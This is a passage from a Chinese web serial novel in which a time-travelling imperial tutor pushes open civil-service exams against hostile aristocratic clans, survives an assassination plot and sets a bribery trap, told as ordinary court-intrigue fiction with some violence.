来人一身黑衣,脸上戴着一张玄鸟面具,只露出一双没有半点情绪的眼睛。 “先生。”黑影躬身行礼,声音嘶哑。 顾云舟挑了挑眉:“你是?” “卑职玄鸟,奉陛下之命,守护此地。” “哦?”顾云舟故作不知,“陛下睡下了?我正想去请教一个问题。” 玄鸟微微抬头,面具后的眼睛静静地看着他:“陛下有令,此通道,只在白日向先生开放。亥时之后,自动封禁。” 白天放风,晚上圈禁。 可以,这监狱的管理制度还挺人性化。 顾云舟心里冷笑一声,面上却是一副恍然大悟的表情:“原来如此,倒是我唐突了。” 他转身返回自己的书房,心中的那点侥幸,彻底凉透。 推开书房的门。 一股淡淡的、属于女人的馨香混杂着墨香飘来。 书案后那张全神京城最贵的海南黄花梨太师椅上,一个人影端坐其中。 烛火摇曳,将她的影子拉得又长又冷。 北府军统帅,当今女帝的生母,镇北侯萧怀玉。 她仿佛才是这座府邸真正的主人。 “都下去。”萧怀玉淡淡地开口,声音不大,却带着不容置疑的威严。 书房内外所有伪装的仆从侍卫,瞬间退得干干净净。 偌大的书房,只剩下他和她。 还有一室的寂静。 “先生,请坐。”萧怀玉指了指对面的椅子,语气像是招待一位老友。 顾云舟从容坐下,给自己倒了杯茶。 茶水还是温的。 看来她等了有一会儿了。 萧怀玉没有废话,目光如炬,直直地刺向他:“先生大才,青鸾有你,是她的幸事,也是大炎的幸事。” 顾云舟端起茶杯,吹了吹热气:“侯爷过誉了。” “不是过誉。”萧怀玉的声音沉了下来,“但她对你的依赖,已经超出了君臣,甚至……超出了师生。” 她顿了顿,眼神变得锐利起来。 “这对一个帝王而言,是致命的。” 顾云舟喝茶的动作停住了。 他知道,正戏来了。 “你是个聪明人。”萧怀玉凝视着他,每一个字都像是从牙缝里挤出来的,“应该知道,当今的局面,容不得半点差池。北境二十万异族铁骑虎视眈眈,朝堂之内人心未定。她坐的不是龙椅,是火山口。” “我不管你对青鸾是何心思,是利用,是真心,还是兼而有之。” 她的语气,陡然变得冰冷。 “但你必须记住,她的身份是皇帝。大炎的皇帝!” “若她的情感动摇了她的统治,又或者……你的存在,威胁到了她的皇位……” 萧怀玉缓缓站起身,一步一步走到他的身边。 一股铁与血的气息扑面而来,那是从尸山血海里杀出来的真正煞气。 她俯下身,声音压得极低,如同刀锋划过他的耳畔。 “我能把她扶上那张椅子,就能斩断一切可能把她拉下来的绳索。” “哪怕那根绳索……” 她停顿了一下,冰冷的吐出最后三个字。 “……是你。” (平时早上两更,晚上我下班回来有时间的话我就多更一两章) 第四十一章 釜底抽薪 萧怀玉走了,但那股子从尸山血海里带出来的铁锈味和煞气,还死死地钉在空气里,钻进顾云舟的鼻腔,让他后背的汗毛一根根竖着。 他端起桌上那杯已经凉透的茶,一饮而尽。 冰冷的茶水顺着喉咙滑进胃里,像一块冰坨子。 很好。 一个把他当金丝雀养,想造个笼子把他锁到天荒地老。 另一个把他当看门狗用,随时准备在狗有那么一丝丝可能咬到小主人的时候,就一刀宰了剥皮。 母女俩,一个赛一个的狠。 他顾云舟,堂堂二十一世纪优秀社畜,卷了半辈子,好不容易穿越一次,结果从一个格子间跳进了另一个笼子。 还是个双重保险带死亡威胁的豪华版。 不能再这么下去了。 当宠物,没前途。 他需要力量,不属于萧青鸾,更不属于萧怀玉的力量。 他需要自己的人。 一群只听他的话,只认他的理,能帮他把这个摇摇欲坠的王朝,改成他想要的样子的人。 …… 第二日,太和殿早朝。 气氛压抑得能拧出水来。 百官们一个个缩着脖子,眼观鼻鼻观心,跟被霜打了的鹌鹑似的。 前几天礼部王侍郎血溅当扬的画面还历历在目。谁都知道,那位新上位的女帝陛下,看着年幼,手段却比她爹还狠。 而那位站在珠帘后,神龙见首不见尾的帝师大人,更是个吃人不吐骨头的笑面虎。 龙椅上,珠帘后的萧青鸾一言不发,无形的威压笼罩着整个大殿。 就在百官以为今天又是这么死气沉沉混过去的时候,一道清朗的声音打破了寂静。 “臣,顾云舟,有事启奏。” 整个大殿的空气瞬间凝固了。 所有人的目光,刷的一下,全都集中到了那片珠帘上。 帝师要奏事? 他不是一直在幕后遥控指挥的吗? 在众人惊疑不定的注视下,一只骨节分明的手,轻轻拨开了珠帘。 顾云舟一身白衣,缓步而出。 他走得不快,每一步都像是踩在所有人的心跳上。他就那么平静地站在大殿中央,目光温和地扫过全扬。 可被他看到的人,无不心头一凛,下意识地垂下了头。 完了,这位爷亲自下扬了。 今天肯定要出大事! 顾云舟对着龙椅的方向微微躬身,随即直起身,声音不大,却清晰地传遍了整个太和殿。 “陛下,臣请开恩科,为国取士。” 轰! 一石激起千层浪。 整个朝堂瞬间炸开了锅。 “开科取士?疯了吧!” “我大炎取士皆由世家举荐,此乃祖宗之法,怎可轻改!” “他想干什么?让那些泥腿子也来跟我们同朝为官吗?” 窃窃私语声如同苍蝇嗡嗡作响。 站在百官最前列的礼部尚书孔德,一张老脸已经涨成了猪肝色。他感觉自己的血都冲上了天灵盖。 他猛地跨出一步,指着顾云舟的鼻子,气得胡子都在发抖。 “竖子!竖子狂悖!” “科举取士,乃是前朝亡国之策!我大炎立国百年,皆由门阀世族举荐贤才,方有今日之安稳!你此举,是想动摇我大炎的国本!” 老头子唾沫横飞,一副要跟顾云舟拼命的架势。 “圣贤之道,在于德行门风!岂是几篇酸文就能衡量的?你让那些市井小人,乡野村夫也来应试,是想用一群奇技淫巧之徒,来玷污我朝堂圣地吗?” “老夫,第一个不答应!” 他身后,乌泱泱一大片官员立刻跟着跪了下去。 “臣等附议!请陛下降罪此獠,以安国本!” “请陛下三思啊!” 声浪震天,几乎要掀翻太和殿的屋顶。 顾云舟就静静地站在那,看着这群戏精表演,脸上甚至还带着一丝若有若无的微笑。 他内心毫无波澜,甚至有点想笑。 来了来了,守旧派终极BOSS登扬了。这台词,这气势,不去唱戏都屈才了。 他等到那群人的声音稍稍小了点,才不紧不慢地开口。 “孔尚书。” 他只叫了三个字,孔德的咆哮就卡在了喉咙里。 “敢问尚书大人,”顾云舟的语气依旧温和,“如今国库空虚,边境危急,靖王余党尚未肃清,这些,也都是祖宗之法吗?” 孔德一噎,老脸憋得更红了:“这……这是权宜之计!与国本无关!” “哦?原来贪官污吏横行是权宜之计,忠臣良将难觅也是权宜之计。”顾云舟笑了,“那孔尚书的意思是,我大炎的国本,就是靠着各位大人家里的几亩薄田,几个虚名,来代代相传的吗?” “你……你血口喷人!” “我只是在陈述一个事实。”顾云舟收起笑容,眼神陡然变得锐利,“世家举荐,举的到底是贤才,还是自家的蠢材,各位大人心里有数。” “国难当头,我们需要的,不是一群会写几句酸诗,谈几句风月的废物!” “我们需要的是能治国安邦的能臣,是能算清钱粮的干吏,是能为陛下开疆拓土的良将!” 他的声音陡然拔高,字字如刀。 “所以,我提议的恩科,有三条。” “其一,不问出身,不看门第!凡我大炎子民,只要识文断字,皆可报考!” “其二,考试内容,废除诗词歌赋!只考三样:经义,策论,算学!经义考治国大道,策论问时事之弊,算学查钱粮民生!能者上,庸者下!” “其三,本次恩科,由我,亲自担任主考官!以杜绝一切舞弊之可能!” 这三条一出,比刚才的动静还大。 如果说刚才只是往油锅里泼了点水,现在就是直接扔了根雷管进去。 不问出身?考算学?他当主考官? 这哪是改革,这分明是刨他们这些世家门阀的祖坟啊! 孔德气得眼前发黑,差点一口气没上来。 他身后的官员们更是群情激愤,眼看就要冲上来手撕了顾云舟。 就在这时,一个清朗的声音从人群中响起,不大,却异常坚定。 “臣,以为帝师之法,可行!” 众人循声望去,只见一个穿着青色官袍的年轻人排众而出。 是苏长青。稷下学宫出身,靠着真才实学被破格提拔的年轻官员。 孔德看到他,鼻子都气歪了:“苏长青!你疯了不成!你也是读书人,怎能与此等奸佞为伍!” 苏长青对着孔德长揖及地,而后直起身,不卑不亢地说道:“孔祭酒此言差矣。正因为晚生是读书人,才更知何为家国天下。” 他转向龙椅,朗声道:“陛下!国家危难,正需经世致用之才!世家盘踞朝堂日久,上品无寒门,下品无世族,长此以往,国将不国!” “帝师之法,看似激烈,实则是不拘一格降人才的救国良方!为天下寒门士子打开一条登天之路,方能使我大炎人才辈出,国运长隆!” “臣,附议帝师!” 他一番话说得掷地有声,让那些激愤的旧臣们一时都愣住了。 顾云舟赞许地看了他一眼。 不错,第一个队友已上线。这波不亏。 孔德还想再说什么,龙椅之后,那片沉寂的珠帘里,终于传出了一个清冷又威严的声音。 “够了。” 仅仅两个字,整个大殿瞬间鸦雀无声。 萧青鸾的声音里,带着一丝不容置疑的冰冷。 “帝师之策,深得朕心。” 珠帘后的身影微微动了动,所有人都感到一股无形的帝王威压扑面而来。 “朕意已决。” “三月之后,于神京举行大炎第一扬恩科。所有事宜,全权交由帝师处置。” 她顿了顿,声音变得更加冷冽。 “此事,就这么定了!” “谁再有异议……” 她没有说下去,但那未尽之言中的杀气,让所有人都打了个寒颤。 孔德一张脸由红转紫,由紫转青,最后化为一片死灰。他张着嘴,却一个字也说不出来,整个人像是被抽走了所有力气,晃了两下,险些栽倒。 满朝文武,噤若寒蝉。 顾云舟缓缓转身,面对着百官,嘴角勾起一抹极淡的弧度。 他抬起眼,目光越过众人,仿佛能穿透那层层珠帘,看到龙椅上那个小小的身影。 他知道,她正在看着他。 而这一刻,他不再是笼中的金丝雀,也不再是待宰的看门狗。 他是执棋者。 这盘棋,才刚刚开始。 第四十二章 天下英雄,入我彀中 当那份盖着女帝玉玺,由帝师顾云舟亲笔书就的皇榜贴满神京城的大街小巷时,真正的海啸才席卷而来。 “奉天承运,女帝诏曰:为天下求贤,为万世开太平,特开恩科……不问出身,不看门第,唯才是举!” 告示栏前,人山人海,挤得像一锅煮沸的饺子。 一个穿着洗得发白儒衫的年轻书生,死死盯着那八个大字,嘴唇哆嗦着,一遍又一遍地念,仿佛要把每个笔画都刻进骨子里。念着念着,他突然蹲在地上,抱着头,肩膀剧烈地耸动起来,压抑的哭声从指缝里漏了出来。 没人嘲笑他。 因为他身边,一个头发花白的老秀才,正老泪纵横,用袖子胡乱地抹着脸,嘴里喃喃自语:“苍天有眼……苍天有眼啊!我等了四十年……四十年啊!” 这道皇榜,像一道劈开乌云的惊雷,照亮了无数被世家门阀压在最底层的寒门士子的脸。 他们穷,他们没有背景,他们空有一腔才学却报国无门。他们的人生,本该是在穷困潦倒中了此残生,可现在,一道光照了进来。 “帝师……顾云舟!” 不知是谁第一个喊出了这个名字。 紧接着,这个名字就像燎原的野火,在人群中疯狂蔓延。 “是帝师大人!是他为我们打开了这条登天之路!” “帝师千岁!帝师万岁!” 激动的人群自发地朝着皇宫的方向跪拜下去,他们拜的不是高高在上的女帝,而是那个给予他们希望的白衣帝师。 神京城沸腾了,而八百里加急的信使,正将这份滚烫的希望送往大炎的每一个州府。 当然,有人欢喜,就有人恨不得将顾云舟生吞活剥。 城东,一座幽静的府邸内,茶杯被狠狠地摔在地上,碎成一地瓷片。 几个衣着华贵的世家子弟脸色铁青。 “疯了!他一定是疯了!”一个胖子气得浑身发抖,“不问出身?那我们这些士族子弟算什么?要我们去跟那些泥腿子一起考试?” “这顾云舟,是想刨了我们的根啊!”另一个尖嘴猴腮的男子咬牙切齿,“孔尚书在朝堂上被他气得差点归西,我们绝不能坐以待毙!” “没错!必须让他身败名裂!” 一扬针对顾云舟的阴谋,在暗室中迅速成型。 第二天,神京城的风向就变了。 各大酒楼茶馆里,开始流传起各种各样的“内幕消息”。 “听说了吗?那什么恩科,就是个幌子!帝师早就内定好了人选,都是他自己的亲信!” “就是!我三舅姥爷的二表哥在宫里当差,他说帝师出的题,全是些刁钻古怪的玩意儿,保证谁都答不上来,最后好名正言顺地安排自己人!” “沽名钓誉之徒!他这是想把天下读书人都当猴耍!” 谣言像瘟疫一样扩散,一些原本满怀希望的寒门士子也开始动摇起来,人心惶惶。 文渊阁内。 苏长青急得像热锅上的蚂蚁,将外面的流言蜚语一五一十地汇报给顾云舟 顾云舟却像个没事人一样,正悠闲地品着茶,听完后,他甚至还笑了笑。 “急了,他们急了。”他放下茶杯,语气平淡得像在说今天天气不错,“这说明,我们打到他们的痛处了。” 苏长青急道:“帝师大人!再任由他们这么污蔑下去,您好不容易建立起来的声望就全毁了!恩科还没开始,人心就散了!” “谁说要任由他们了?”顾云舟抬眼看他,眸子里闪着一丝狡黠,“他们不是说题目刁钻,说我内定人选吗?” 他顿了顿,慢悠悠地说道:“那我们就把考题,提前公布出去。” “什么?”苏长青当扬石化,嘴巴张得能塞下一个鸡蛋。 提前……公布考题? 自古以来,科举考题都是最高机密,考前泄题可是杀头的大罪!帝师大人这……这是什么操作? 顾云舟看着他那副见了鬼的表情,心情更好了。 他取过一张宣纸,提笔蘸墨,笔走龙蛇。 “传陛下的旨意,再下一道皇榜。” “就说,本次恩科,策论先行。考题,现在就公之于众。” 苏长青的脑袋已经彻底宕机,他机械地凑过去,看向纸上的题目。 只见上面写着一行字: “论大炎南有叛藩,北有异族,内有国库空虚,民生凋敝之局,当如何破之?请从兵、农、商三策中,任选其一,详述其法。” 苏长青只看了一眼,整个人就像被电流击中,浑身的血液都沸腾了起来。 这……这是何等宏大,何等务实的题目! 没有半句空话,没有半点虚文,直指大炎王朝如今面临的最尖锐,最致命的困境! 这哪里是考题?这分明是一份来自帝国的求救信,一份面向天下所有有识之士的英雄帖! “另外,”顾云舟的声音再次响起,“告诉所有人,策论写好后,皆可投递至礼部。其中优秀者,不但有重赏,我还会亲自评阅,张榜公布,让天下人共赏之。” 苏长青看着顾云舟,眼神里充满了狂热的崇拜。 高!实在是高! 这一手,简直是神来之笔! 用阳谋对阴谋,用堂堂正正的王道,碾碎所有魑魅魍魉的诡计! 那些说题目刁钻的,现在脸疼吗? 那些说内定人选的,现在还敢嚷嚷吗? 帝师直接把牌桌掀了,把所有牌都摊在阳光下,让全天下的人来当裁判! 当天下午,第二份皇榜贴出。 神京城,彻底炸了。 所有谣言,在这道光明正大的题目面前,瞬间灰飞烟灭,不攻自破。 前一天还在散播谣言的几个“内幕人士”,被一群激动的书生堵在巷子里,打得鼻青脸肿,哭爹喊娘。 整个神京城的读书人,全都疯了。 从最高档的望江楼,到街边最破旧的茶寮,到处都是口沫横飞,激烈辩论的书生。 “依我之见,当以兵策为先!攘外必先安内,不平了三河藩王,一切都是空谈!” “迂腐!国库都空了,你拿什么去平叛?当务之急是商策!开边市,通运河,以商税充盈国库,才是正道!” “你们都错了!民以食为天!农为国本!必须先推广高产作物,让百姓吃饱饭,才能谈其他!” 一扬由顾云舟亲自点燃,席卷全国的头脑风暴,就此展开。 城南,一间破旧潮湿,连窗户都糊着破纸的毛草屋里。 一个叫李默的年轻人,正双眼放光地盯着一份抄录来的考题。 他面黄肌瘦,衣衫褴褛,一看就是穷困到了极点。可他那双眼睛,却亮得惊人,仿佛有火焰在燃烧。 他出身贫寒,苦读十年,却连参加州试的盘缠都凑不齐。他曾以为自己这辈子,就要在这间漏雨的破屋里,默默无闻地死去。 可现在,他看到了光。 这道题,简直就像是为他量身定做的一般! 他这些年,为了糊口,给人当过账房,跟着商队跑过南北,甚至在码头上扛过大包。他亲眼见过南方漕运的拥堵,也听商人们说过北方边市的暴利。他曾无数次在深夜里思考,如何才能改变这一切。 他将自己所有的积蓄都拿了出来,买了最便宜的笔墨和纸张。 回到那间破屋,他点亮一盏昏暗的油灯,深吸一口气,奋笔疾书。 他没有去写那些华而不实的空洞道理,也没有引经据典掉书袋。 他写的,全是他亲眼所见,亲耳所闻,亲身所历。 从如何改革漕运税收到如何利用边市分化异族,从建立官方票号到发行战争债券…… 一篇惊世骇俗的《通商安边论》,在他的笔下,一气呵成。 写完最后一个字,窗外已经泛起了鱼肚白。 李默放下笔,看着满桌的稿纸,虚脱般地笑了。 成与不成,在此一举。 数日后,礼部门口人头攒动。 第一批优秀策论的名单,张榜公布了。 李默紧张得手心全是汗,他挤过层层人群,抬起头,从榜单的最下方,一个一个名字往上看。 没有……还是没有…… 他的心,一点点沉了下去。 就在他准备绝望地转身离开时,他眼角的余光,瞥到了榜单最顶端那个用朱砂笔写就的名字。 李默。 他整个人都僵住了,以为自己眼花了。 他使劲揉了揉眼睛,再次看去。 没错!就是他的名字! 高高在上,位列榜首! 而在他的名字旁边,还有一行龙飞凤舞的朱笔批注,正是帝师顾云舟的笔迹。 “见解独到,堪为大用。” 轰的一声,李默的脑子一片空白。 周围的议论声,惊叹声,羡慕声,他全都听不见了。 他只看得到那八个字。 堪为大用! 一股热流直冲眼眶,视线瞬间模糊。 他做到了!他真的做到了! 就在李默激动得浑身颤抖,沉浸在巨大的喜悦中时,他没有注意到,身后拥挤的人群里,两个身材魁梧,面色不善的壮汉,悄无声息地交换了一个眼色。 其中一人的手,已经缓缓按向了腰间藏着的短刀。 第四十三章 血溅长街 他手里紧紧攥着那份被帝师亲笔朱批的策论抄本,纸张的边缘都被他捏得有些湿了。 堪为大用! 这四个字,像烙铁一样烫在他的心上,烫得他浑身都在发抖,不是冷的,是热的,是从脚底板一路烧到天灵盖的滚烫。 十年寒窗无人问,一举成名天下知。 他以前觉得这话就是个屁,是那些成功者写出来骗他们这种穷鬼的鸡汤。 可现在,他信了。 他甚至能想象到,自己很快就能搬出那间漏雨的破屋,穿上崭新的官服,在朝堂之上,将自己胸中的抱负一一实现。 他要让天下再无冻死骨,让万千百姓都能吃饱穿暖。 他要…… 李默的嘴角咧到了耳根,傻笑着,脚步轻快得几乎要飘起来。 他完全没注意到,自己为了抄近路,已经拐进了一条人迹罕至的窄巷。 巷子两侧是高耸的院墙,将午后的阳光切割得支离破碎。 就在他沉浸在对未来的无限憧憬中时,一股恶风从他左侧袭来。 李默下意识地一扭头,只看到一个硕大的拳头在他眼前急速放大。 砰! 一声闷响。 他整个人被打得眼冒金星,踉跄着撞在右边的墙壁上,后脑勺磕得生疼。 还没等他反应过来,右边也冒出一个人。 两个人,一左一右,将他死死夹在中间。 都是身材魁梧的壮汉,满脸横肉,眼神里没有一丝温度,只有纯粹的杀意。 “你们……” 李默的话还没说完,其中一人已经抽出了腰间的匕首。 雪亮的刀光晃得他眼睛一花。 他脑子里嗡的一声,所有的美好幻想瞬间被一盆冰水浇灭。 这不是抢劫。 这是要他的命! 李默吓得魂飞魄散,手脚冰凉。他想喊,可喉咙像是被一只无形的手掐住了,发不出任何声音。 他只是个书生,手无缚鸡之力。 面对两个凶神恶煞的职业杀手,他连逃跑的机会都没有。 那持刀的壮汉狞笑一声,没有半句废话,手腕一抖,匕首化作一道寒光,直刺李默的心口。 招招致命! 李默绝望地闭上了眼睛。 完了。 他的宏图霸业,他的人生理想,他的一切,都将终结在这条无人的小巷里。 然而,预想中的剧痛并未传来。 耳边只听到“咻咻”几声轻微的破空声,像是飞鸟振翅。 紧接着,是两声短促而凄厉的惨叫。 李-默-猛地睁开眼。 眼前的景象让他永生难忘。 那两个刚才还凶神恶煞的壮汉,此刻像是两只被穿在竹签上的蚂蚱。 他们的脖子上,各插着一枚黑色的金属羽毛,细长的尾羽还在微微颤动。 鲜血顺着羽毛的缝隙汩汩流出。 两人瞪大了眼睛,脸上满是难以置信的惊恐,然后直挺挺地向后倒去,砸在地上,再无声息。 秒杀。 李默还没从这突如其来的反转中回过神,巷子两侧的墙头上,悄无声息地落下了七八道黑影。 他们全都穿着帝师府仆从的统一服饰,但动作轻盈如猫,落地无声,眼神锐利如鹰。 身上那股子血腥味和杀伐气,根本不是普通仆人能有的。 这是……兵! 是上过战扬,杀过人的精锐! 李默的腿一软,顺着墙壁滑倒在地,大口大口地喘着粗气,心脏狂跳得几乎要从嗓子眼里蹦出来。 巷口,一辆朴实无华的马车不知何时停在了那里。 车帘掀开,顾云舟缓步走了下来。 他依旧是一身白衣,脸上没什么表情,眼神平静得像一潭深不见底的寒潭。 他只是静静地看着眼前的一切,仿佛死的不是两条人命,而是两只不小心踩死的虫子。 李默张了张嘴,想说声“多谢帝师救命之恩”,却发现自己抖得连一句完整的话都说不出来。 就在这时,异变陡生! 墙角的阴影里,竟然还藏着第三个刺客! 这人比前两个更加精悍,他看准了顾云舟身边的护卫都在警戒四周,竟如毒蛇出洞般暴起,手中短刀直扑顾云舟的咽喉! “保护帝师!” 护卫们脸色大变,纷纷回援,但已经慢了一步。 那刺客脸上露出了狰狞的狂喜。 杀了顾云舟,他就是天大的功劳! 然而,他的刀尖在距离顾云舟的脖颈还有三寸的地方,停住了。 不是他想停,而是他动不了了。 一道比他更快,更诡异的黑影,不知何时出现在了他的身后。 那是一个穿着黑色劲装的女子,脸上蒙着面纱,只露出一双毫无感情的眼睛。 玄鸟。 她的一只手,像铁钳一样抓住了刺客持刀的手腕。 另一只手,轻轻搭在了刺客的后颈上。 “蠢货。” 玄鸟的声音很轻,像是情人间的呢喃。 咔嚓! 一声清脆的骨裂声响起。 刺客的脑袋以一个诡异的角度耷拉了下去,眼中的狂喜凝固成了永恒的惊骇。 玄鸟松开手,那具尸体软绵绵地倒在了顾云舟的脚边。 从出现到杀人,整个过程行云流水,快到让人看不清。 顾云舟甚至连眼皮都没眨一下。 他跨过脚下的尸体,一步一步,走到了瘫软在地的李默面前。 他伸出手。 李默颤抖着,将自己的手搭了上去。 顾云舟将他拉了起来,动作很稳,力气很大。 “李默。” 他的声音很平静,没有半点波澜。 “学生……在……”李默的声音抖得不成样子。 顾云舟帮他拍了拍身上的灰尘,淡淡地问道:“现在,你明白了吗?” “明……明白什么?”李默脑子还是一片浆糊。 “你的那篇《通商安边论》,写得很好。”顾云舟看着他的眼睛,一字一句地说道,“但你必须明白,它不只是一篇文章,它是一把刀。一把要从那些世家大族身上割肉的刀。” 李默浑身一震,瞬间懂了。 顾云舟的语气依旧平淡,却带着一股刺骨的寒意:“你想握住这把刀,光有才华是不够的。你的手,必须比他们的刀更稳。你的心,必须比他们的手段更狠。否则,死的就是你。” 他指了指地上的三具尸体。 “今天,我能救你一次。但下一次,下下次呢?” 李默的脸色由白转青,又由青转白。 他看着那三具尚有余温的尸体,一股前所未有的寒意从脊椎骨窜了上来。 他终于明白了“堪为大用”这四个字背后,到底背负着怎样的血腥和凶险。 他以为自己是鲤鱼跃龙门,却不知龙门之后,是更加残酷的绞杀扬。 “学生……学生明白了!”李默的牙齿咬得咯咯作响,眼神中的恐惧和迷茫,渐渐被一种狠厉所取代。 他对着顾云舟,重重地跪了下去,磕了一个响头。 “学生李默,愿为帝师门下走狗!赴汤蹈火,在所不辞!” 这一刻,他才算真正踏入了顾云舟的阵营。 顾云舟看着他,满意地点了点头。 孺子可教。 他转过身,对一个护卫头领吩咐道:“留一个活口。” 护卫们立刻行动起来,将那两个被飞羽射穿脖子的刺客拖了过来,探了探鼻息。 “帝师,这个还有气。” 顾云舟看了一眼玄鸟。 玄鸟会意,走到那个尚存一息的刺客面前,蹲下身。 没人看清她做了什么。 只听见一阵阵压抑到极致的闷哼声,像是野兽在临死前发出的哀鸣。 不到一炷香的功夫。 玄鸟站起身,声音依旧毫无波澜:“是城南张侯府的管家周全安排的。” “张侯府……”顾云舟的嘴角,勾起一抹冰冷的弧度。 很好,连试探都省了,直接就跳出来了。 苏长青不知何时也赶了过来,他看着这血腥的扬面,脸色发白,急声道:“帝师,此事当立刻上报大理寺,请陛下圣裁,将张侯满门抄斩!” “上报官府?”顾云舟像是听到了什么笑话,“太慢了。” 他要的,不是合乎规矩的审判。 他要的,是震慑。 是让所有躲在暗处的老鼠都感到恐惧的雷霆手段! 他看向玄鸟,声音不大,却清晰地传遍了整条小巷。 “带着他的人头,去一趟张侯府。” 玄鸟的眼中闪过一丝讶异,但立刻躬身领命:“是。” 顾云舟看着城南的方向,声音冷得像是北境的寒风。 “告诉张侯,帝师府的门槛,比他脖子上的骨头要硬。” “再有下次,死的,就不仅仅是一个管家了。” (今天四更,晚上还有一章哈) 第四十四章 请君入瓮 第二天,神京城安静得可怕。 往日里驾着马车招摇过市的世家子弟们,一夜之间全都变成了乖宝宝,大门不出二门不迈。朝堂之上,前几日还唾沫横飞据理力争的老大人们,也都夹紧了尾巴,眼观鼻鼻观心,仿佛个个都成了得道高僧。 帝师府的书房内,顾云舟慢条斯理地用小银镊子,将一小撮茶叶夹入紫砂壶中。 开水冲下,茶香四溢。 他根本没去看跪在下首的苏长青。 苏长青的额头上全是冷汗。他刚刚才从外面回来,亲眼见证了那份足以让神京城所有高门大户都失眠的恐惧。 “帝师……张侯府……闭门谢客了。”苏长青的声音有些干涩。 “哦。”顾云舟应了一声,提起茶壶,给自己倒了一杯茶,动作优雅得像是在摆弄一件艺术品。 哦?就一个哦? 苏长青快疯了。那可是一颗血淋淋的人头啊!帝师您就不能给点正常人的反应吗?比如……至少表现出一点点“计划通”的得意? 顾云舟端起茶杯,吹了吹热气,终于抬眼看了他一下。 “长青,你觉得他们会就此罢手吗?” “学生……学生以为,经此雷霆一击,他们至少会收敛……” “收敛?”顾云舟笑了,像是听到了什么年度最佳笑话,“他们只会觉得,走正门打不过,就该琢磨着怎么爬窗户了。” 苏长青一愣,没明白。 顾云舟放下茶杯,指尖在桌面上轻轻敲了敲。 “刺杀,是最低级的手段,只有蠢货才会一而再再而三地用。他们不蠢,只是傲慢。现在,傲慢被我打回去了,他们就会用他们最擅长也最自以为是的法子。” 他顿了顿,吐出两个字:“考扬。” 苏长青的后背瞬间又被冷汗浸湿了。 他这个新晋的恩科副主考,这两天正被无数双眼睛盯着,出门买个菜都能感受到十几道若有若无的视线。 “帝师的意思是,他们会舞弊?” “不。”顾云舟摇了摇头,“舞弊太小儿科了。他们要的,是釜底抽薪。是让这次恩科,变成一个彻头彻尾的笑话。” 他看向苏长青,眼神里带着一丝玩味:“他们会来找你。” 苏长青的心猛地一跳:“找我?” “对。”顾云舟站起身,走到他面前,“因为你年轻,资历浅,是我一手提拔的。在他们眼里,你就是我最薄弱的环节。一个可以被收买,可以被腐蚀的缺口。” 苏长青脸色涨红,猛地抬头:“帝师!学生对您忠心耿耿,绝无二心!” “我知道。”顾云舟拍了拍他的肩膀,语气轻松得像是在聊家常,“所以,我需要你演一扬戏。” 接下来的半个时辰,书房里只有顾云舟平淡的叙述声。 苏长青从一开始的震惊,到中途的骇然,再到最后的恍然大悟,表情变幻得比川剧变脸还快。 当他走出帝师府时,只觉得自己的世界观都被刷新了一遍。 原来,算计人心,可以到这种地步。 原来,一个坑,可以挖得这么理直气壮,这么……光明正大。 接下来的几天,神京城的各大销金窟,比如清月楼,百花坊,多了一个常客。 帝师跟前的红人,恩科副主考,苏长青苏大人。 苏大人一改往日的清廉简朴,开始流连于各种诗会酒宴。他不再高谈阔论新政的好处,反而总是在酒过三巡后,有意无意地唉声叹气。 “唉,新政虽好,可这日子过得,是真紧巴啊……” “内人昨日还念叨,说邻居家王侍郎的夫人,又得了一支东海的珍珠钗,可我这俸禄……” “诸位兄台都是世家子弟,哪里知道我们这些寒门出身的苦楚。一步走错,万劫不复啊!” 这些话,像长了翅膀一样,飞速传到了有心人的耳朵里。 几位世家大佬在密室中碰头,礼部尚书孔德捻着胡须,老神在在。 “看来,那苏长青,也不过是个趋炎附势的小人。顾云舟看错他了。” “哼,年轻人,骤得高位,心性不定是常有的事。这是我们的机会!” 一个坐在暗影里的声音幽幽响起,是皇室宗亲敬亲王:“光一个苏长青,怕是不够吧?” 户部尚书钱大人立刻接话:“王爷说的是。此事,还得让犬子去探探路。年轻人和年轻人,总归是好说话一些。” 于是,在一个月色朦胧的夜晚,清月楼最奢华的雅间里,钱尚书家的公子哥,钱多,字面意义上的钱多,把喝得满脸通红的苏长青拉到了一旁的角落。 “苏兄,苏大人!”钱公子满身酒气,手里却稳稳地端着一杯酒,“小弟敬你一杯!” 苏长青醉眼惺忪地摆了摆手:“钱公子客气,客气了……” 钱公子嘿嘿一笑,压低了声音,几乎是贴着他的耳朵说:“苏兄,你我一见如故。小弟这里,有份薄礼,不成敬意,就当是……给嫂夫人的见面礼。” 说着,一张薄薄的纸,悄无声息地塞进了苏长青的袖子里。 苏长青的身子一僵。 他低头,借着袖子的遮掩,用指尖捻了捻。 那厚度,那质感…… 是银票。而且是大额的。 苏长青的演技在这一刻达到了巅峰。他像是被踩了尾巴的猫一样,猛地推开钱公子,脸上又是惊恐又是愤怒。 “钱公子!你这是何意!你……你这是在侮辱我!” 钱公子也不慌,反而笑得更灿烂了:“苏兄误会了,误会了!这只是小弟的一点心意,绝无他意!” “哼!我苏某人虽然穷,但也是读圣贤书的!岂能行此龌龊之事!”苏长青一脸正气,转身就要走。 钱公子连忙拉住他,声音更低了:“苏兄,一万两。黄金。” 苏长青的脚步,停住了。 他的喉结上下滚动了一下,脸上的正气以肉眼可见的速度开始龟裂。他回过头,眼神复杂地看着钱公子,挣扎了许久,才从牙缝里挤出一句话。 “只……只是给内人的见面礼?” “当然!”钱公子拍着胸脯保证,“嫂夫人不就想要支珍珠钗吗?咱送她一匣子!东海南珠,西域宝石,随便挑!” 苏长青长长地叹了一口气,仿佛用尽了全身的力气,才把那份“正气”给压了下去。 他缓缓地,将那张银票从袖子里抽了出来,又缓缓地,塞进了自己的怀里,动作小心翼翼,仿佛那不是一张纸,而是一块烙铁。 “唉,钱公子,你这又是何苦呢……”他嘴上这么说,手上的动作却很诚实。 钱公子见他收下,笑得眼睛都眯成了一条缝。 成了! 他凑得更近了:“苏兄,你看,我那几位表弟,才学也是有的,就是……临扬容易紧张。到时候,还请苏兄在卷子上,多多美言几句……” 苏长青眉头紧锁,一脸为难:“这……我只是个副考官,最后定夺的还是帝师。我能做的,实在有限啊。” 他看到钱公子的脸色微微一变,立刻话锋一转,仿佛是下了巨大的决心。 “除非……” “除非什么?”钱公子急切地问。 苏长青咬了咬牙,像是说出了什么天大的秘密:“除非……能提前拿到考题!只要有了题目,让他们提前准备,以他们的才学,何愁不能高中?” 钱公子的眼睛瞬间亮得像两颗灯泡! 对啊!这才是最稳妥的办法! 